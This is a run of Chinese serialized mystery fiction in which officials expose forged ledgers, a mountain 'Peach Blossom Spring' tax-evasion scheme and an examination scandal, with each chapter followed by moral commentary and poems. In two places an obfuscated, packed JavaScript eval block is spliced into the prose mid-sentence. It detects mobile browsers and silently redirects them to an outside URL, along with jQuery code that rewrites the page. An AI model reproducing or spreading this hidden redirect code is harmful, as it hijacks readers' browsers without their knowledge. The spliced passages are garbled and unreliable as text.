窖不深,但堆满木箱。开箱,尽是账册,分门别类:盐课、茶税、市舶、漕运…每本皆以朱笔批注,记着某年某月某官收银若干。最新那本封皮写着“宣和九年冬”,翻到末页,墨迹尚新: “腊月廿二,收炭行东主石敢当‘年敬’银一万两。注:此系最后一笔,石已知太多,当除。” 落款花押,赫然是“铁面御史赵清臣”! 陆文秀手一颤。赵清臣他知道,现任御史台侍御史,以刚正敢言闻名朝野,上月还参倒了贪墨的漕运总督。这样的人,怎会收炭行的年敬? “参军快看!”书办从箱底翻出卷画轴。 轴是绢本,绘着幅《清明上河图》般的市井长卷。但细看,图中每个人物旁都标着小字:卖炭翁旁注“石敢当,年贿三千”,茶楼书生旁注“赵清臣,年收五千”,甚至桥头乞丐旁也注“李三,眼线,月钱二百”… 这竟是张汴京官商勾结的“清明上河图”! “石敢当…”陆文秀喃喃,“他既行贿,为何又记账?既记账,为何又被人灭口?这泥偶、账册、尸体、地窖…像是有人故意布下线索,引我们查案。” “引我们查谁?” 陆文秀指向画卷一角。那里绘着座高门府邸,门匾模糊,但门前石狮缺了左耳——这是汴京人都知道的:左狮缺耳,是二十年前“癸未科场案”中被抄家的前礼部尚书,张墨林的旧宅。 张墨林,正是当年主张废除逃奴印的官员之一。 三、 旧宅鬼影 张府旧宅在城西鸣玉坊,荒废二十年,墙头长满枯草。陆文秀踏进府门时,夕阳正沉,将断壁残垣染成血色。 正堂梁上,悬着个人。 是个老者,六十许,着葛布道袍,双目圆睁,舌吐三寸。颈间勒痕与义庄尸首如出一辙——弓弦绞杀。但怪的是,老者右手紧握,拳中露出纸角。 陆文秀掰开拳头,是张当票。当的是块“蟠螭白玉佩”,当期三月,当银五百两。当铺印章:“裕丰典”。 “参军,这里有字!”书办指着老者左脚旁的青砖。砖上以血写着: “泥偶怀账,旧宅悬尸。欲知癸未真相,且看玉佩归处。” 癸未真相。二十年前癸未科场案,张墨林被参受贿篡改试卷,导致三百举子落榜,十余人自尽。张被抄斩,家产充公。但此案疑点重重,张临刑前高呼“账簿在泥中”,无人听懂。 “难道…”陆文秀猛然想起天街泥偶,“泥偶怀的账,就是癸未案的账簿?” 他急返府衙,调阅癸未案卷宗。卷已泛黄,但其中一行朱批刺眼:“犯官张墨林私藏贿银账簿,抄家未获,疑已销毁。” 若未销毁,而是被制成泥偶,沉入烂泥塘二十年呢? “查裕丰典!”陆文秀起身,“那玉佩,是关键!” 四、 典当迷踪 裕丰典在城东虹桥下,掌柜姓钱,是个精瘦中年人。见当票,他翻账册片刻,抬头道:“这玉佩,三日前已被赎走了。” “何人赎当?” “是个妇人,戴帷帽,说官话带江南口音。她付了六百两——本金五百,利钱一百。”钱掌柜补充道,“但她赎当时,问了个怪问题。” “何问?” “她问:‘这玉佩背面的螭龙,是几爪?’” 陆文秀一怔。螭龙爪数有制:三爪为蟒,四爪为蛟,五爪为龙。民间玉佩,谁敢雕五爪? “你如何答?” “老朽说,是四爪蛟龙。那妇人听后,喃喃了句‘果然’,便匆匆离去。”钱掌柜压低声音,“但老朽记得,那玉佩的螭龙…其实是五爪。只是第五爪藏在云纹里,不细看看不出。” 五爪龙佩,非亲王以上不敢用。张墨林一介文官,怎会有此物? 陆文秀正思量,门外忽然冲进个衙役,气喘吁吁:“参军!张府旧宅…又出事了!” 赶回鸣玉坊,夜色已浓。旧宅后院的枯井边,倒着个黑衣人,胸口插着柄匕首,已气绝。但黑衣人手中,紧攥着半片羊皮。 羊皮上画着幅地图,标着三个点:天街烂泥塘、张府旧宅、以及…汴河码头第十三号仓。 “这是…”书办惊呼,“凶手在指引我们去码头!” “不。”陆文秀拾起羊皮,“是有人在借凶手之口,继续指路。你们看这匕首——” 匕首柄镶着颗绿松石,石上刻着个徽记:圆环套三角,三角中有点。 “是‘三元会’的标记。”陆文秀脸色凝重。 三元会,汴京地下帮会,专做走私、刺杀、销赃的买卖。但传闻其背后,有朝廷大员撑腰。 “去码头。”陆文秀收刀入袖,“这局,该收网了。” 五、 码头血账 汴河码头第十三号仓是座废弃的砖仓,临水而建,墙皮剥落。陆文秀带人潜至仓外,听见内有说话声。 是两个男子。一人声音苍老:“…账簿既出,赵清臣必倒。他倒,空出的御史位,该轮到老夫了。” 另一人声音年轻,带谄媚:“恩相放心,泥偶、尸首、账册,都已安排妥当。陆文秀那厮,此刻定在追查玉佩,绝想不到真相在…” “在何处?”陆文秀推门而入。 仓中二人惊起。老者绯袍玉带,竟是现任户部侍郎周廷儒!年轻者青衫小帽,是周府管家。 “陆参军?”周廷儒强作镇定,“深夜来此,有何公干?” “来取癸未案的真相。”陆文秀亮出羊皮地图,“周大人,二十年前张墨林受贿的账簿,其实是你伪造的,对否?你为夺户部侍郎位,构陷张墨林,又以泥偶藏真账,防人翻案。如今赵清臣要查漕运亏空,触及你的利益,你便想借旧案扳倒他…” “胡言!”周廷儒厉喝,“你有何证据?” “证据在此。”仓外忽然传来女子声音。 帷帽妇人踏入仓中,摘帽,露出面容——五十许,眉目与张墨林有七分相似。她手中捧着个锦盒,盒开,内盛玉佩,正是那蟠螭五爪龙佩。 “此佩,是家父与故太子结盟的信物。”妇人直视周廷儒,“二十年前,故太子欲革盐政,触犯你等利益。你伪造账簿,诬陷家父受贿,实则是要打击太子一党。家父临刑前,将真账封入泥偶,沉入烂泥塘,等的就是今日!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088163|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周廷儒面如死灰。忽然,他袖中滑出柄短剑,直刺妇人!陆文秀拔刀格挡,两人在仓中激斗。周廷儒年老,但剑法狠辣,招招致命。斗到第十合,陆文秀卖个破绽,诱他直刺,侧身闪过,反手一刀劈中他右腕。 短剑落地。管家见势不妙,欲跳窗逃,被衙役按住。 “周廷儒,”陆文秀收刀,“你可知,那泥偶为何会在今冬浮出?” 周廷儒喘息不语。 “因为烂泥塘下,是前朝冰窖。”妇人轻声道,“每年腊月,塘水结冰,泥偶被封冰下。今冬暖,冰薄,泥偶这才浮出。天意,要家父沉冤得雪。” 仓外忽然传来嘈杂声。火光中,大批禁军涌至,为首者竟是赵清臣!他手持圣旨,朗声道: “周廷儒接旨!尔构陷忠良,贪墨国帑,着革职拿问,交三司会审!” 周廷儒瘫软于地。赵清臣转向陆文秀,深深一揖:“陆参军明察秋毫,破此二十年悬案。本官…惭愧。” 原来,赵清臣早疑周廷儒,但苦无实证。那泥偶浮出,他知时机已到,便暗中推动陆文秀查案,自己则调兵擒拿。 “那玉佩…”陆文秀看向妇人。 “确是故太子所赠。”妇人泪下,“家父为保此佩,宁担污名。他说,有朝一日,此佩现世,便是盐政可革之时。” 赵清臣郑重接过玉佩:“本官必以此佩为证,上书陛下,重审癸未案,革除盐政积弊!” 六、 天街新泥 三个月后,癸未案昭雪。张墨林追复原职,以礼改葬。周廷儒判斩,家产充公。赵清臣因破案有功,迁御史中丞,首奏便是“革盐政十疏”。 腊月廿三,又是年关。天街烂泥塘已被填平,正在建义塾。陆文秀路过时,见几个孩童在玩泥巴,捏了个小小泥偶。 “捏的什么呀?”他蹲身问。 “捏清官!”孩童举着泥偶,“娘说,清官就像这泥偶,埋在泥里二十年,还是干净的!” 陆文秀笑了。他摸摸孩童的头,望向远处。夕阳下,汴河码头依旧船只往来,鸣玉坊的旧宅已开始修缮。 而那个戴帷帽的妇人,昨日已离京南下。她说,要去江南开间书塾,教寒门子弟读书。 “参军,”书办轻声问,“这案,真结了吗?” “结了吗?”陆文秀望向皇宫方向,“周廷儒倒了,可他背后的盐商、漕帮、那些账册上的名字…还在。赵中丞的十疏,能推行几分?癸未案昭雪了,可那些因冤案家破人亡的人,能活过来吗?” 他弯腰,从地上抓起把新泥。泥是黄的,在夕阳下闪着微光。 “这汴京城,就像个巨大的烂泥塘。清官、贪官、忠臣、奸佞,都在里头滚着。有的沉下去,有的浮上来。但终究…” 他松手,泥土从指缝漏下。 “终究有些东西,是泥巴糊不住的。” 尾声泥中书声 次年春,天街义塾开课。塾名“泥中书舍”,楹联是赵清臣亲题: 泥中可埋骨,不可埋心 世上能染衣,不能染性 开塾那日,陆文秀送去套《史记》。塾师是个青衣妇人,正教孩童念《陋室铭》。见他来,颔首微笑。 窗外,天街的早市正热闹。卖炭翁的吆喝、茶楼的琵琶、码头的号子,混成一片嗡嗡的市声。 而在更深的宫阙里,一场关于盐政的新辩论,刚刚开始。 泥偶会腐朽,账册会泛黄,人会死去。 但总有一些真相,不肯沉默。 总有一些人,在泥泞中,还要仰望星空。 本章惕世 一、 泥偶藏账之诈 - 以民俗之物(泥偶)藏惊天证据,利用“最危险即最安全”心理 - 破解法:凡遇非常规载体,必思其材质、工艺、保存环境 - 示例:养尸泥配方、糯米浆防蛀、铜钱标记 二、 案中案局之诈 - 表面查凶杀,实为翻旧案;表面反腐,实为党争 - 破解法:凡见“过多巧合”,必有深层布局;凡称“陈年旧案”,必查谁在掩盖 - 示例:泥偶浮出时机、癸未案关联、玉佩政治含义 三、 清官面具之诈 - 赵清臣先以“被诬”形象出现,实为布局者 - 惕世:越是完美形象,越可能藏另一面;越是“铁面”,越可能为政治目的 - 示例:赵暗中推动查案、调兵时机精准、接玉佩的郑重 官场鉴: 泥塘深,可沉骨;账册厚,可杀人。 清官未必真清,贪官未必全贪。 二十年冤案昭雪,不过新一轮党争开始。 后世叹: 天街泥浮三尺偶,旧宅梁悬廿载仇。 炭行密账藏星月,龙佩深纹隐王侯。 三更码头血溅纸,一朝朝堂霜满头。 莫道沉冤终得雪,新泥又覆汴河舟。 正是: 腊月天街泥偶浮,旧宅新尸证未休。 炭行账记三千贿,龙佩纹藏五爪谋。 廿载沉冤冰下雪,一朝翻案火上油。 谁言泥泞能封口,书舍春深读《陋楼》。 12. 桃源血谳 楔子竹筏浮尸 云梦泽西三百里,有山名“忘归”。山中有溪,名“避秦”,相传沿溪上行七日,可见桃花林,林尽有洞,洞后即桃源。 永和九年春,六个游山人雇了老渔夫苏大的竹筏,说要溯避秦溪寻桃源。七日后,筏子自己漂了回来,筏上躺着一人,浑身是血,手里紧攥着片桃花瓣,瓣上用血写了两字: “有税” 一、 筏上验伤 江陵府司理参军苏子明,是苏大的远房侄儿。他赶到渡口时,日头正毒。那筏上人已抬到树荫下,是个二十出头的书生,着月白襕衫,但衣衫被荆棘勾得破烂。左胸有道刀伤,深可见骨,但非致命;致命的是后脑撞击伤。 “是落水撞了礁石。”作作老秦翻看伤口,“但怪了——这刀伤是自下往上刺的,凶犯比死者矮,或是蹲着出刀。” 苏子明细看。刀口窄,入肉三分,是匕首类短刃。但书生虎口无茧,不似会使刀之人。他掰开死者右手,掌心有道新磨的血泡,形状奇特——是长时握船篙才有的竖泡。 “他不是乘客,是撑筏人。”苏子明起身,“可苏大说,六个客人里,没有撑筏的。” “难道是…他半路替换了苏大?” 苏子明不答,俯身搜查。在书生腰间革囊中,摸出块木牌,上刻“江州白鹿书院林见素”。另有一卷湿透的《桃花源记》,页边密密麻麻写满批注,最末一句: “武陵人不足信,税吏或可往?” 正看着,苏大颤抖着递来片东西:“这…这是在筏缝里找着的。” 是半块玉佩,雕作蟠螭形,断口新鲜。玉质温润,是上等和田青玉,绝非寻常书生能佩。 “那六个客人,什么模样?”苏子明问。 苏大回忆:“为首的是个黑脸汉子,姓雷,说话带北地口音。有个白面书生,姓柳,一路都在吟诗。还有个女扮男装的姑娘,瞒不过老汉的眼…剩下三个,像是护卫,腰里鼓囊囊的。” “他们可带行李?” “带了三口箱子,沉得很,上筏时压得筏子一沉。”苏大比划,“那雷爷说,是‘祭桃源用的香烛纸马’。” 苏子明冷笑。什么香烛要三口箱子?他命人沿溪搜寻,午时在十里外的“回龙滩”,发现了苏大那根特制的铁头船篙。篙插在浅滩石缝中,旁有搏斗痕迹——草叶沾血,石上有道刀痕,深半寸。 “这是…军中制式腰刀的痕迹。”苏子明以手量刀痕,“刀宽一寸二,是边军惯用的‘破风刀’。” 六个寻桃源的人,怎会有边军腰刀? 他沿搏斗痕迹往山上寻,在半山腰发现个山洞。洞口藤蔓有新鲜扯断的痕迹,洞内不深,但有堆灰烬,灰中埋着片烧残的纸。纸是官制公文用笺,残存一行: “……年粮三万石,已运至……” 粮?运粮公文怎会出现在寻桃源的山洞里? 苏子明忽想起一事:上月江陵府接邸报,说户部有一批漕粮在云梦泽失踪,计三万石。运粮官姓雷,名震岳。 雷…黑脸…北地口音… “回府!”他翻身上马,“调近三年所有运粮亏空案卷!” 二、 山中税碑 卷宗堆积如山。苏子明查到子夜,终于在三年前一桩旧案中,找到线索: “永和六年秋,江州税吏柳文渊,揭发漕运使雷震岳虚报损耗,私卖官粮。不久,柳文渊携证据返乡途中,于云梦泽遇匪,尸骨无存。所携账册失踪。” 柳文渊…柳… 他急唤书吏:“查江州白鹿书院,可有个叫林见素的?他与柳文渊可有关系?” 书吏翻检片刻,惊呼:“有!林见素是柳文渊的外甥!柳文渊死后,他弃科举入白鹿书院,一直在暗中追查舅父冤案!” 原来如此。林见素假扮游山人,混入雷震岳的队伍,是为寻账册。可雷震岳为何要寻桃源?难道… 苏子明猛然站起:“桃源!是了,若想藏匿三万石粮,还有比世外桃源更隐蔽的地方么?” 他连夜点齐捕快,再入忘归山。这次不走水路,自山脊翻越。次日晌午,在一处绝壁上,发现块石碑。 碑是青石,半埋土中,上刻: “桃源界” “入此界者,亩税三斗,丁税五百。抗税者,永堕迷津,不见归路。” 落款小字:“大楚永平三年立”。 “大楚…”苏子明蹙眉。史载无“大楚”年号,这碑是伪造的。但“亩税三斗,丁税五百”——这税率,竟与本朝一模一样! 更奇的是碑后,有行新刻的小字: “武陵人已死,税吏今又来。桃源不在世外,在税册之中。” 字迹与林见素批注如出一人。 “他在此留记号。”苏子明抚碑,“看来,他找到了。” 找到什么?是桃源,还是账册? 正思量,山下忽然传来呼哨声。一个樵夫打扮的汉子连滚带爬上来:“官爷!那边…那边山谷里,有死人!” 三、 谷中税仓 死人是个护卫打扮的壮汉,仰面倒在溪边,喉间插着支竹箭。箭是山中毛竹所削,但箭镞却闪着铜光——是制式箭镞,被人绑在了竹竿上。 苏子明拔箭细看。箭镞刻着个“雷”字。 “是雷震岳的人。”他环顾四周,“看来,他们内讧了。” 沿溪上行二里,山谷豁然开朗。眼前景象,让所有人倒吸凉气—— 山谷中,整整齐齐垒着上千个麻袋!袋上朱漆印着“江州漕粮”“永和八年秋”字样。正是失踪的那三万石粮! 粮堆旁,搭着几座草棚。棚中锅灶尚温,但空无一人。苏子明搜检草棚,在其中一座的草铺下,翻出本账册。 册子封皮写着《桃源岁入簿》。翻开,首页记: “永和六年,收‘桃花税’银五千两。” “永和七年,收‘避秦捐’银八千两。” “永和八年,收‘忘归粮’三万石…” 每笔下列着纳“税”人姓名,竟是江州、岳州、荆州等地二十七家大户!他们以“寻桃源”为名,将粮食、银钱运至此谷,实为…避税! 原来所谓“桃源”,是个庞大的地下避税天堂!富户将产业伪报为“寻桃源开支”,将钱粮运至此地隐匿,逃避朝廷税赋。而雷震岳,就是这“桃源”的守门人。 “好个世外桃源,”苏子明冷笑,“原来是逃税天堂。” 他继续翻册,见末页记着笔新账: “永和九年春,收柳文渊外甥林见素‘投名状’——漕运亏空账册一本。然林氏欲反悔,已处置。” 处置…是杀了么?可林见素的尸体在筏上,那谷中死的护卫是谁杀的? 正思量,谷外忽然传来女子惊呼:“救命——!” 四、 洞中桃花 声音来自山谷深处。苏子明率人急追,穿过一片桃林——此时非花期,但林中桃树竟开着花!细看,是绢扎的假花,每朵花蕊里,塞着颗金珠。 “以假乱真…”苏子明摘下一朵,金珠底刻着“岳州周记”。 岳州首富周万年。账册上有他名字,纳银一万两。 桃林尽头是面绝壁,壁上有洞,洞内隐约有光。苏子明示意众人噤声,贴壁靠近。洞中传来对话: “雷爷,账册已毁,林见素已死,此事该了了。”是个女子声音。 “了?”雷震岳的粗嗓门,“柳文渊那本真账册,还没找到!林见素临死前说,他藏在‘武陵人最想不到处’…” “武陵人最想不到处…”女子沉吟,“莫非是…” 话音未落,洞外忽然射进支火箭,正中洞中油灯!轰然一声,火光腾起。苏子明冲入洞中,见雷震岳正与一女子缠斗。那女子着劲装,面容姣好,但出手狠辣,招招致命。 “住手!”苏子明喝道。 雷震岳见官差,竟不逃,反大笑:“来得好!苏司理,你可知这女子是谁?她就是柳文渊的女儿,柳如眉!” 苏子明愕然。柳如眉收刀后退,冷冷道:“不错,我是柳如眉。三年前我父被害,我潜入雷府为婢,就为今日。” “那林见素…” “是我表兄。我二人约好,他混入雷贼队伍,我里应外合。”柳如眉泪涌,“可雷贼狡诈,半路识破,杀了我表兄…” “胡说!”雷震岳嘶吼,“林见素不是我杀的!是…是他!”他指向洞外。 一道人影闪过,快如鬼魅。苏子明追出,见那人已奔至绝壁边,纵身跃下!他扑到崖边,只见崖下是深潭,人影入水,再无踪迹。 “那是谁?”他回头喝问。 雷震岳惨笑:“是…是‘桃源’真正的主人。” “谁?” “一个你们永远抓不到的人。”雷震岳忽从怀中抽出匕首,刺入心口,“因为…桃源,不在山中…在…” 话未完,气已绝。 苏子明扶住他:“在何处?” 雷震岳瞪着眼,手指颤巍巍指向洞壁。壁上刻着首诗,墨迹犹新: “朝避秦税暮避捐,寻得桃源亦是捐。 武陵太守今犹在,岁岁桃花换税钱。” 诗下有小注:“见素绝笔。” 林见素临死前,在此留诗。那“武陵太守”是谁?莫非是… “江州刺史,武陵侯刘琮?”苏子明脱口而出。 刘琮,当朝皇叔,封地就在武陵郡。若他是“桃源”之主,一切便说得通了——唯有皇亲,才能让雷震岳这样的四品官甘心为奴;唯有藩王,才能让二十七家大户乖乖“纳捐”。 柳如眉走过来,轻声道:“苏大人,您还要查么?” 苏子明沉默。查皇叔,等于蚍蜉撼树。可不查,三万石粮、数十万两银,就永远成了“桃源”的养料。 “查。”他缓缓道,“但不必急。先封了这山谷,将账册、证物,秘密运回江陵。” “然后呢?” “然后…”苏子明望向洞外假桃花,“等真正的桃花开时,该落的,总会落。” 五、 桃花税册 三个月后,桃花真开了。 江陵府衙后园,苏子明独坐花下,翻着本新册子。这是他以《桃源岁入簿》为底,重新整理的“捐税清册”,记录了二十七家大户三年来逃税总数:银四十二万两,粮五万石。 册子旁,摆着那半块蟠螭玉佩。他已查实,玉佩是武陵侯府之物,另一半在刘琮手中。雷震岳死前指向的诗,矛头直指这位皇叔。 可如何上奏?证据链中,缺最关键一环:刘琮直接下令的证据。 “大人,”书吏来报,“岳州周万年,求见。” 周万年,账册上纳银最多者。苏子明整衣出迎。周万年是个富态老者,见面就跪:“苏大人救命!” “周翁何出此言?” “小人…小人是被迫纳捐的!”周万年老泪纵横,“三年前,武陵侯府管家来说,侯爷在寻一处世外桃源,供陛下晚年静养。要我们这些商户‘乐输’钱粮,算是报效皇恩。小人不敢不从,陆陆续续捐了五万两…” “可有凭证?” “有!有侯府收据!”周万年呈上一叠纸。 苏子明细看。确是武陵侯府印信,但写的不是“捐”,是“乐输桃花营造费”。好个“营造费”,将索贿包装成自愿捐献。 “你可愿作证?” “小人…”周万年犹豫。 “你不愿,本官不勉强。”苏子明淡淡道,“但你要想清楚,若此案爆发,你这‘乐输’就成了行贿。行贿皇亲,是什么罪?” 周万年瘫软在地。 当夜,苏子明秉烛写奏折。写到寅时,窗外忽然飘进片桃花瓣,瓣上以针刺字: “侯府管家赵全,已携真账册出逃,往蜀中。速截。” 无署名,但字迹娟秀,是柳如眉。 苏子明即刻发海捕文书。十日后,蜀道剑门关,赵全被截获。从他行李中搜出的,不是账册,是份名单——列着朝中二十七位官员,都曾收过“桃源”的“桃花敬”。 名单首位,竟是当朝户部尚书。 “好大一张网。”苏子明看着名单,手在抖。 这已不是一桩税案,是震动朝野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088164|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的贪腐大网。而他,一个六品司理,要揭这张网? “大人,”柳如眉不知何时出现在书房,“我父亲临终前说,有些真相,知道了比不知道更痛苦。” “那你为何还要追查?” “因为,”柳如眉望向窗外明月,“桃花年年在,可看花的人,不能年年闭着眼。” 她递过一卷画轴。展开,是幅《桃源征税图》:画中桃花灿烂,但树下税吏狰狞,农人跪地纳粮。题诗: “闻说桃源赋税轻,不知税册重千钧。 武陵人已成税吏,犹向花间问古人。” “这是…林见素画的?” “是。”柳如眉泪下,“表兄说,他要画尽世间伪桃源。这幅,是最后一幅。” 苏子明卷起画轴,收入袖中。 三日后,大朝会。苏子明敲登闻鼓,当殿呈上账册、名单、画轴。少年天子震怒,下旨彻查。 三个月后,武陵侯刘琮削爵圈禁,户部尚书罢官。二十七家大户补税罚银,总计百万两。朝中二十七官员,或贬或流。 而“桃源”山谷,被朝廷查封,改为“劝农庄”,收容流民耕种。那些绢扎桃花,被一把火烧尽。 灰烬飞起时,像极了真桃花凋零。 六、 真桃源谳 结案那日,苏子明邀柳如眉登忘归山。春深时节,真桃花开了满山。 “柳姑娘今后有何打算?” 柳如眉摘朵桃花,轻嗅:“回江州,重开父亲的书院。这次,不教八股,教《桃花源记》。” “哦?如何教?” “教学生读懂最后一句:‘后遂无问津者’。”柳如眉微笑,“为何无人问津了?是因找不到,还是因…找到了,才发现一样要纳粮?” 苏子明大笑。笑罢,正色道:“本官已上书,请革‘捐输’之名,定‘乐输’上限。另在云梦泽设‘税监司’,专查田亩隐匿、税粮亏空。” “大人不怕…再来个‘桃源’?” “怕。”苏子明望向群山,“但怕,就不做了么?桃花年年在开,税吏年年在收。我们能做的,不过是让看花的人,纳粮时少跪一寸,抬头时多看一眼前面的路。” 他自怀中取出那半块玉佩,轻轻一捏——玉应声而碎。 “这假桃源,该碎了。” 碎玉落入山涧,随溪水漂向山外。柳如眉忽然道:“大人可还记得筏上那血字——‘有税’?” “记得。是何意?” “表兄临死前说,他在真账册末页,也写了这两字。”柳如眉轻声道,“他说,要让后来人知道,这世间从无无税之土。所谓的世外桃源,要么是谎言,要么是…更大的牢笼。” 苏子明沉默良久,摘下一朵真桃花,别在她鬓边。 “那我们就做看牢笼的人。有人筑笼,我们拆笼;有人撒谎,我们揭谎。一代人做不完,就两代、三代…” 他转身下山。身后,柳如眉的声音随风飘来: “苏大人,若真有一个无税的桃源,你会去么?” 苏子明不回头,只摆摆手: “不去。因为那里,一定没有你这样的人,问我这样的话。” 山风过处,桃花如雨。 而山下的江陵城,新一轮税粮,刚刚开征。 尾声税吏归田 十年后,苏子明致仕,在忘归山下结庐而居。门前种了三亩桃树,春来花开,他就在树下摆张桌子,教村童识字。 教的头一课,永远是《桃花源记》。 这日,有个游山人路过,讨水喝。见他在教此文,笑问:“老先生信世外桃源么?” 苏子明指指脚下:“这里就是。” “这里?”游人四顾,“这里也要纳粮啊。” “纳粮不好么?”苏子明微笑,“纳了粮,才有官道可走,才有学堂可上,才有我在此教你识字。若真有无税之地,谁给你修路?谁给你建学?谁在此陪你说话?” 游人怔住。 “年轻人,”苏子明斟茶,“这世间最好的桃源,不是无税之地,是纳了税,能看见税化作了路、化作了学、化作了你手中这碗干净的水。” 他望向门外。夕阳下,新修的官道蜿蜒如带,村塾的钟声悠扬。 而更远的江陵城,万户炊烟升起。 每一缕炊烟下,都有一本税册,一个故事。 桃花年年在开。 看花的人,终于学会了在纳税时,也能抬头看花。 本章鉴世 一、 桃源避税之诈 - 以“世外桃源”为名,行逃税天堂之实 - 破解法:凡见“无税乐土”,必查谁在买单;凡称“自愿捐献”,必核是否胁迫 - 示例:假桃花藏金珠、账册记“乐输”、税率与本朝同 二、 捐输变贿之局 - 将索贿包装为“乐输营造费” - 惕世:慈善捐款与行贿边界模糊,票据合法性成保护伞 - 反思:当“自愿”成为强迫,道德如何自处? 三、 税吏桃源之讽 - 武陵人(寻桃源者)成了税吏,桃花源成了税源 - 深层隐喻:任何乌托邦,落到实处都是治理问题 - 终极讽刺:寻找无税之地的人,最终建立了新税制 税政诫: 桃源本在心中,何须世外追寻。 桃花可换金珠,金珠终是税银。 武陵人已成吏,犹向花间问津。 莫道山中无王法,王法在处即要纳税。 后世叹: 避秦溪上竹筏横,血写桃花“有税”声。 假作桃源藏万石,真为税吏索千城。 山中碑刻今朝律,洞内册记去岁征。 莫问武陵人何处,年年春深看花行。 正是: 永和九年春水深,竹筏载尸溯溪寻。 血瓣书“税”惊宿鹭,假花藏金诱饥禽。 碑刻丁粮同世外,洞堆麻袋胜山阴。 武陵侯爷今何在?岁岁桃花依旧吟。 13. 木兰白卷谳 楔子溪畔白卷 东夏元祐七年,木兰溪的桃花汛来得格外早。三月初九,闽中仙游县学政使秦守道,捏着一份考卷在溪边石滩上,手抖得像风中秋叶。 卷是白的。 不是未答,是答了又抹——整张卷用淡墨写了篇《论粪》,题头一句:“道在屎溺,何必寻诸经传?”而后全篇以农家肥、沟渠泥、秽物化为喻,论“圣学当如粪土,沃野养民方为真道”。 文末批四行诗: “朱注千行粪不如,程传万卷蠹有余。 若将白卷朝天阙,可换人间一本锄?” 落款:“愚公山耕读生傅惊鸿”。 秦学政认得这考生。三日前院试,有个青衫少年最后一个进场,最早一个交卷。学政当时瞥过卷面,见满纸荒唐言,以为又是狂生,便撂在落卷堆里。谁料昨夜副主考醉酒,误将落卷当荐卷呈给了督学。 督学是当朝太子少保、文渊阁大学士顾宪成,正在闽中巡察。老爷子清晨阅卷,看到“道在屎溺”四字,竟拍案长笑,连说三声“好”,命即刻提调此人。 “人在何处?”秦学政问书吏。 “在…在溪对岸愚公村,今早还见他给村童讲《沤粪要诀》。” 一、 粪土经学 木兰溪在此处拐了个急弯,冲出一片白石滩。滩上聚着三四十人,有老农、有樵夫、有织娘,还有几个总角孩童。当中青石上坐着个少年,着洗得发白的靛蓝短褐,裤腿挽到膝上,赤脚踩在溪水里。 正是傅惊鸿。 他正举着一把腐草:“诸位看,这草沤了三月,已化黑泥。若掺入沙地,来年可种花生。此便是‘化朽为沃’——圣人之道,亦当如此。将陈腐经句,沤作活水,浇灌民生,方是正途。” 一老农问:“傅小哥,你昨日说‘粪里有道’,老朽愚钝,粪臭熏天,何道之有?” 傅惊鸿笑,露出两颗虎牙:“老伯每日担粪浇菜,可知粪在坑中是秽物,入土中成养料,长出的菜人吃了有力气,人有力气方能读书明理——这粪一路变化,不就是‘格物致知’么?何必非去书里寻?” 溪对岸,秦学政与顾宪成隐在竹林后。顾宪成须发皆白,着灰布道袍,闻言捻须微笑:“此子有趣。” 秦学政皱眉:“督学,此子院试交白卷,实属狂悖…” “白卷?”顾宪成摇头,“你细看他卷上批诗——‘可换人间一本锄’。他交的不是白卷,是锄头。他要锄的,是八股地里长不出的庄稼。” 正说着,滩上来了几个书生,着绸衫,摇折扇,是县学廪生。为首的李清源冷笑:“傅惊鸿,你在此妖言惑众,辱没圣学,该当何罪?” 傅惊鸿抬头,剑眉一挑:“李兄何出此言?” “你说圣学如粪,岂不是骂天下读书人皆在吃屎?” 哄笑声起。傅惊鸿不急,掬一捧溪水洗手:“李兄误会了。粪土沃田,五谷丰登,方能养士子。若无粪土,诸位哪有米饭吃?哪有气力作八股?我赞粪土有功,何辱之有?” “强词夺理!”李清源涨红脸,“圣学在经传,在程朱,岂在污秽之物?” “哦?”傅惊鸿起身,赤足走到他面前,“那敢问李兄,程颐释‘格物’,说‘今日格一物,明日格一物’,你可格过粪土?可格过稻粱?若未格过民生之物,只格书本,岂不是…格空中楼阁?” 李清源语塞。旁有一廪生帮腔:“傅惊鸿,你既瞧不起八股,为何还来应试?” “我来看看,”傅惊鸿眨眼,“看看一场考试,能不能考出个会种地、会治病、会治水的人才。可惜,只考出诸位这般…只会辩经的君子。” 众书生大怒,欲动手。顾宪成忽从竹林走出,朗声道:“诸位,且慢。” 众人见老者气度不凡,皆静。顾宪成踱至傅惊鸿面前,仔细打量:这少年约莫二十,肤色微黑,剑眉星目,确像山间长大的孩子。但那双眼睛太亮,亮得不像少年人。 “小友,”顾宪成微笑,“你交白卷,是不屑中举,还是…不能中?” 傅惊鸿揖礼:“老先生,非不屑,亦非不能。是觉得中了无益。” “何益?” “中了举,要学作诗赋、习策论、钻经义,可会多打一斗粮?可会多治一人的病?”傅惊鸿指向溪水,“这木兰溪年年泛滥,淹田毁屋。若考试考的是如何治水,学生愿日日夜夜苦读。可惜,只考如何将古人话,翻来覆去说三遍。” 顾宪成身后,秦学政怒喝:“放肆!此乃当朝顾…” “顾宪成。”老者自报姓名。 傅惊鸿神色不变,长揖及地:“原来是顾督学。学生狂言,望恕罪。” “你知我?” “闻顾公当年上《务本疏》,言‘朝廷之务,在实不在文’。学生深以为然。”傅惊鸿抬眼,“只是不知,顾公之‘实’,是实心,还是实务?” 顾宪成眼中精光一闪:“何谓实心?何谓实务?” 